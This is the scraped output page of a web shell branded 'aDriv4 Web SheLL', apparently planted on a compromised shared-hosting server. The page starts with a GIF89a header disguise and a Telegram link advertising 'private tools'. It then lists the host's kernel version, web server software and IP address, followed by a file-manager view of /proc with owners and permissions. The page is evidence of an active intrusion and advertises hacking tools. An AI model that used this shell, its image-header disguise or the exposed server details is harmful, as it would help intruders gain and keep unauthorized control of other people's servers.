GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server120.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.116.63
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-06 07:40:19
.. dir - root/root 0755 2025-08-05 05:32:06
1457728 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:12:31
2229446 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:10:06
2229489 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:07:00
2230837 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:07:22
2238713 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:13:46
2239233 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:13:46
2239875 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:09:47
2240532 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:13:15
2240572 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:13:15
2249914 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:13:15
2251748 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:11:36
2252109 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:11:41
2252233 dir - lesshgjr/lesshgjr 0555 2026-01-01 11:11:42
acpi dir - root/root 0555 2024-05-06 11:41:57
bus dir - root/root 0555 2024-05-06 11:42:06
driver dir - root/root 0555 2026-01-01 11:13:51
fs dir - root/root 0555 2024-05-06 11:42:06
irq dir - root/root 0555 2024-05-06 11:42:02
kcare dir - root/root 0555 2026-01-01 11:13:51
lve dir - root/root 0555 2026-01-01 11:13:48
net link - lesshgjr/lesshgjr 0555 2026-01-01 11:13:52
scsi dir - root/root 0555 2024-05-06 11:42:06
self link - lesshgjr/lesshgjr 0555 2026-01-01 11:09:47
sys dir - root/root 0555 2024-05-06 07:41:50
sysvipc dir - root/root 0555 2026-01-01 11:13:51
thread-self link - lesshgjr/lesshgjr 0555 2026-01-01 11:13:50
tty dir - root/root 0555 2026-01-01 11:13:51
buddyinfo 0 B root/root 0444 2026-01-01 11:13:51
cgroups 0 B root/root 0444 2026-01-01 11:13:51
cmdline text/plain 0 B root/root 0444 2026-01-01 11:13:51
consoles 0 B root/root 0444 2026-01-01 11:13:51
cpuinfo text/plain 0 B root/root 0444 2026-01-01 11:13:51
crypto 0 B root/root 0444 2026-01-01 11:13:51
devices 0 B root/root 0444 2026-01-01 11:13:51
diskstats 0 B root/root 0444 2026-01-01 11:13:51
dma 0 B root/root 0444 2026-01-01 11:13:51
execdomains 0 B root/root 0444 2026-01-01 11:13:51
fb 0 B root/root 0444 2026-01-01 11:13:51
filesystems text/plain 0 B root/root 0444 2026-01-01 11:13:14
interrupts 0 B root/root 0444 2026-01-01 11:13:51
iomem 0 B root/root 0444 2026-01-01 11:13:51
ioports 0 B root/root 0444 2026-01-01 11:13:51
kallsyms 0 B root/root 0444 2024-05-06 11:42:06
kcore 128 TB root/root 0400 2024-05-06 11:41:57
key-users 0 B root/root 0444 2026-01-01 11:13:51
keys 0 B root/root 0444 2026-01-01 11:13:51
kmsg 0 B root/root 0400 2026-01-01 11:13:51
kpagecgroup 0 B root/root 0400 2026-01-01 11:13:51
kpagecount 0 B root/root 0400 2026-01-01 11:13:51
kpageflags 0 B root/root 0400 2026-01-01 11:13:51
loadavg text/plain 0 B root/root 0444 2026-01-01 11:13:34
locks 0 B root/root 0444 2026-01-01 11:13:51
mdstat 0 B root/root 0444 2026-01-01 11:13:51
meminfo text/plain 0 B root/root 0444 2026-01-01 11:13:15
misc 0 B root/root 0444 2026-01-01 11:13:51
modules 0 B root/root 0444 2026-01-01 11:13:51
mounts text/plain 0 B lesshgjr/lesshgjr 0444 2026-01-01 11:13:52
mtrr 0 B root/root 0644 2024-05-06 11:42:06
pagetypeinfo 0 B root/root 0400 2026-01-01 11:13:51
partitions 0 B root/root 0444 2026-01-01 11:13:51
sched_debug 0 B root/root 0444 2026-01-01 11:13:51
schedstat 0 B root/root 0444 2026-01-01 11:13:49
slabinfo 0 B root/root 0400 2026-01-01 11:13:51
softirqs 0 B root/root 0444 2026-01-01 11:13:51
stat text/plain 0 B root/root 0444 2026-01-01 11:13:48
swaps 0 B root/root 0444 2024-05-06 07:41:51
sysrq-trigger 0 B root/root 0200 2024-05-06 11:42:06
timer_list 0 B root/root 0400 2026-01-01 11:13:51
uptime text/plain 0 B root/root 0444 2026-01-01 11:13:15
version text/plain 0 B root/root 0444 2026-01-01 11:13:51
vmallocinfo 0 B root/root 0400 2026-01-01 11:13:50
vmstat 0 B root/root 0444 2026-01-01 11:13:50
zoneinfo 0 B root/root 0444 2026-01-01 11:13:51
© aDriv4